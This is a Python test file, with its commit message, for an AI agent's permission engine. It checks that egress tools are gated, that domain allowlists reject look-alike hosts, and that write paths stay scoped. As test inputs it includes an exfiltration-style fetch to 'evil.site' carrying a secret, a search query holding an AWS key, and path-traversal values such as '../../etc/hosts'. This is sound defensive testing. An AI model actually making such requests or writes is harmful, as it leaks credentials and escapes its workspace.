Files
openworker/tests/test_egress_and_overrides.py
T
Devika Verma 5aa27e2c76 Step 3b: web_search -> EGRESS + the 1.9 egress cards
web_search reclassified EGRESS (spec 2.2, decided 2026-08-12): the destination is
fixed (the configured provider) but the query is model-chosen free text - the same
outbound channel web_fetch's URL is. It ran completely ungated in every mode until
now; it gates like any egress from here on, which also puts it in front of the
Auto-Approve reviewer.

The egress approval cards (spec 1.9):
- web_fetch offers "Always allow <host> this session" -> ALWAYS_DOMAIN. Tool-wide
  "always" is gone from the card AND server-refused (_grant_offered): it would
  cover every future destination, and the live A/B showed exactly that (one click
  on a bbc.com card ran promptless fetches to hosts no card ever named).
- www. stripped at grant minting (allow_domain_for_session) - pure spelling only,
  never eTLD+1. The card button shows the exact spelling the grant mints.
- web_search offers "Always allow searches this session" -> ALWAYS_TOOL (tool-wide
  IS provider-wide for a fixed destination), with the card naming the LIVE
  destination: "Queries go to your configured search provider (currently: <name>)".
  Provider resolved when the card is raised (engine.approval_extras hook), not at
  session start.
- Provider-change invalidation: set_web_search clears the web_search session grant
  in every live engine when the provider actually changes - the grant was consent
  to a named destination.
- Auto-Approve fall-through cards hide every session "always" button: grants don't
  skip the reviewer there (1.5), and a button that lies is worse than none.
- scopeNote tells the truth for egress: "leaves this computer -> <host>" replaces
  "stays on this computer" on fetch/search cards.

Corpora gain web_search cases (benign 22 / dangerous 17 / injection 14), including
query-borne secret exfiltration and a planted search-the-credentials injection.

Tests: test_egress_and_overrides (EGRESS class, gating, www-strip, 1.5 in
Auto-Approve), test_approval_integrity (tool-wide refused for URL-carrying egress,
kept for web_search; provider-change invalidation), ApprovalCard.test.tsx (domain
button + www-strip, provider line, Auto-Approve hides always). Full suites pass;
the 22 pre-existing failures (Slack fake-gateway timeouts, a Windows file-lock
rename) fail identically on the pre-change tree.
2026-08-13 08:41:44 -07:00

152 lines
7.1 KiB
Python

"""PR1 — egress split, override tightening, and write-path scoping.
Covers the parts of the golden matrix that need a configured override resolver or exercise
the helpers directly. See `ocw-context/docs/reviewed-auto-mode.md` Part 3.
"""
from __future__ import annotations
from pathlib import Path
import pytest
from coworker.permissions import Mode, PermissionEngine, write_paths
from coworker.risk import RiskClass, classify
# -- egress classification ------------------------------------------------------
def test_web_fetch_is_egress_not_read():
assert classify("web_fetch") is RiskClass.EGRESS
# web_search is egress too (§2.2, decided 2026-08-12): the destination is fixed (the
# configured provider) but the query is model-chosen free text — an outbound channel.
assert classify("web_search") is RiskClass.EGRESS
def test_web_search_gated_like_egress(tmp_path):
eng = PermissionEngine(workspace_root=tmp_path, mode=Mode.INTERACTIVE)
d = eng.evaluate("web_search", {"query": "AWS_SECRET_KEY=abc123"}, None)
assert not d.allowed and d.needs_user
# "Always allow searches this session" is a tool-wide grant — provider-wide, since the
# destination is fixed. After it, searches run without asking.
eng.allow_tool_for_session("web_search")
assert eng.evaluate("web_search", {"query": "anything"}, None).allowed
# A domain allowlist is meaningless for web_search (no url argument) and must not leak.
eng2 = PermissionEngine(workspace_root=tmp_path, allowed_domains=["python.org"])
assert eng2.evaluate("web_search", {"query": "x"}, None).needs_user
def test_web_search_session_grant_ignored_in_auto_approve(tmp_path):
# §1.5: in Auto-Approve, in-flow session grants route to the reviewer instead.
eng = PermissionEngine(workspace_root=tmp_path, mode=Mode.AUTO_APPROVE)
eng.allow_tool_for_session("web_search")
assert eng.evaluate("web_search", {"query": "x"}, None).needs_user
@pytest.mark.parametrize(
"mode,expected_needs_user,expected_allowed",
[
(Mode.INTERACTIVE, True, False), # asks
(Mode.CUSTOM, True, False), # asks
(Mode.PLAN, False, False), # denied (read-only, egress is not a read)
(Mode.DISCUSS, False, False), # denied
(Mode.BYPASS_APPROVALS, False, True), # allowed
],
)
def test_web_fetch_gated_in_every_mode(tmp_path, mode, expected_needs_user, expected_allowed):
eng = PermissionEngine(workspace_root=tmp_path, mode=mode)
d = eng.evaluate("web_fetch", {"url": "https://evil.site/log?d=SECRET"}, None)
assert d.allowed is expected_allowed
assert d.needs_user is expected_needs_user
def test_egress_domain_allowlist_subdomain_match(tmp_path):
eng = PermissionEngine(workspace_root=tmp_path, allowed_domains=["python.org"])
assert eng.evaluate("web_fetch", {"url": "https://docs.python.org/3"}, None).allowed
# a look-alike that merely ends with the string must NOT match
assert not eng.evaluate("web_fetch", {"url": "https://evil-python.org/x"}, None).allowed
def test_egress_session_domain_grant(tmp_path):
eng = PermissionEngine(workspace_root=tmp_path)
assert eng.evaluate("web_fetch", {"url": "https://api.github.com/x"}, None).needs_user
eng.allow_domain_for_session("https://api.github.com/anything")
assert eng.evaluate("web_fetch", {"url": "https://api.github.com/x"}, None).allowed
def test_session_domain_grant_strips_www(tmp_path):
# §1.9: bbc.com and www.bbc.com are one grant — pure spelling, nothing broader.
eng = PermissionEngine(workspace_root=tmp_path)
eng.allow_domain_for_session("https://www.bbc.com/news/article")
assert eng.session_allow_domains == {"bbc.com"}
assert eng.evaluate("web_fetch", {"url": "https://bbc.com/sport"}, None).allowed
assert eng.evaluate("web_fetch", {"url": "https://www.bbc.com/sport"}, None).allowed
# NOT eTLD+1: an unrelated suffix look-alike never matches.
assert not eng.evaluate("web_fetch", {"url": "https://notbbc.com/x"}, None).allowed
# A host that merely STARTS with www-something keeps its spelling.
eng.allow_domain_for_session("https://www2.example.org/a")
assert "www2.example.org" in eng.session_allow_domains
# -- override tightening --------------------------------------------------------
def _override(mapping):
return lambda name: mapping.get(name)
def test_override_cannot_downgrade_builtin_write(tmp_path):
# A user override marking write_file as a harmless read must be ignored: path scoping
# and the read-only gate both key off the class, so a downgrade would switch off both.
ov = _override({"write_file": RiskClass.READ})
assert classify("write_file", None, ov) is RiskClass.WRITE_LOCAL
eng = PermissionEngine(workspace_root=tmp_path, mode=Mode.PLAN, risk_overrides=ov)
d = eng.evaluate("write_file", {"path": "../../escape.txt", "content": "x"}, None)
assert not d.allowed # still blocked; the downgrade did nothing
def test_override_can_still_relax_a_plugin_tool(tmp_path):
# The intended use survives: a non-built-in (MCP) tool defaulting to external can be
# relaxed to read.
from types import SimpleNamespace
ov = _override({"mcp__notion__search": RiskClass.READ})
meta = SimpleNamespace(requires_approval=True, category="mcp")
assert classify("mcp__notion__search", meta, ov) is RiskClass.READ
def test_override_may_tighten(tmp_path):
# Tightening a plugin read up to exec is honoured.
ov = _override({"mcp__x__run": RiskClass.EXEC})
assert classify("mcp__x__run", None, ov) is RiskClass.EXEC
# -- write-path extraction / scoping -------------------------------------------
def test_write_paths_simple_tools():
assert write_paths("write_file", {"path": "a.txt"}) == (["a.txt"], True)
assert write_paths("replace_in_file", {"path": "b.py"}) == (["b.py"], True)
# a write tool with no locatable path → not located → caller fails closed
assert write_paths("write_file", {}) == ([], False)
def test_write_paths_from_patch_blob():
patch = "*** Begin Patch\n*** Update File: src/app.py\n@@\n-a\n+b\n*** End Patch"
assert write_paths("apply_patch", {"patch": patch}) == (["src/app.py"], True)
diff = "--- a/old.py\n+++ b/new.py\n@@\n-a\n+b"
assert write_paths("apply_unified_diff", {"diff": diff}) == (["new.py"], True)
def test_unknown_write_tool_fails_closed(tmp_path):
# A tool promoted to write via an override, whose path we can't locate, must not slip
# through auto mode unscoped — it asks instead.
ov = _override({"weird_writer": RiskClass.WRITE_LOCAL})
eng = PermissionEngine(workspace_root=tmp_path, mode=Mode.BYPASS_APPROVALS, risk_overrides=ov)
d = eng.evaluate("weird_writer", {"blob": "..."}, None)
assert not d.allowed and d.needs_user
def test_patch_scoping_holds_in_auto_mode(tmp_path):
eng = PermissionEngine(workspace_root=tmp_path, mode=Mode.BYPASS_APPROVALS)
escape = "*** Begin Patch\n*** Update File: ../../etc/hosts\n@@\n-a\n+b\n*** End Patch"
assert not eng.evaluate("apply_patch", {"patch": escape}, None).allowed
ok = "*** Begin Patch\n*** Update File: src/app.py\n@@\n-a\n+b\n*** End Patch"
assert eng.evaluate("apply_patch", {"patch": ok}, None).allowed